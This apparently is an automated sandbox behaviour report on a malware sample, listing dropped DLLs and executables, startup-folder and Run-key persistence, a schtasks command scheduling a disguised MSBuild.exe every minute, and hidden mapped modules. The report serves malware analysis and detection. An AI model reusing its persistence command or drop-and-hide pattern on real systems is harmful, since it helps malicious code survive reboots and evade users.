Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\MindClient.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\StlpMt45.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\yiefm	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\BorlndMm.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Rtl60.bpl	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\wspconfig.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\loudmouth.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\MindClient.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\StlpMt45.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\CC3260MT.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\Vcl60.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\MindClient.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\loudmouth.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\libglib-2.0-0.dll	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\Vcl60.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\CC3260MT.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\BorlndMm.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\Rtl60.bpl	Jump to dropped file
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	File created: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\libglib-2.0-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\loudmouth.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Vcl60.bpl	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\libglib-2.0-0.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\Vcl60.bpl	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\hkhaelupurucg	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\wspconfig.dll	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\loudmouth.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\StlpMt45.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\libglib-2.0-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\Rtl60.bpl	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\pntqvbaqhxho	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\BorlndMm.dll	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\MindClient.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\wspconfig.dll	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\Rtl60.bpl	Jump to dropped file

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Ride.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\libglib-2.0-0.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\loudmouth.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Rtl60.bpl	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\wspconfig.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\BorlndMm.dll	Jump to dropped file
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	File created: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Vcl60.bpl	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\CC3260MT.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\MindClient.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\StlpMt45.dll	Jump to dropped file

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Rtl60.bpl	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Vcl60.bpl	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\Rtl60.bpl	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\Vcl60.bpl	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\hkhaelupurucg	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\pbomsmc	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\Rtl60.bpl	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\Vcl60.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\Rtl60.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\Vcl60.bpl	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\yiefm	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\pntqvbaqhxho	Jump to dropped file

Boot Survival

Drops PE files to the startup folder

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MSBuild" /tr "C:\Users\user\AppData\Roaming\MSBuild.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MSBuild
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MSBuild

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\cmd.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\HKHAELUPURUCG
Source: C:\Windows\SysWOW64\cmd.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\PBOMSMC
Source: C:\Windows\SysWOW64\cmd.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\YIEFM
Source: C:\Windows\SysWOW64\cmd.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\PNTQVBAQHXHO

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
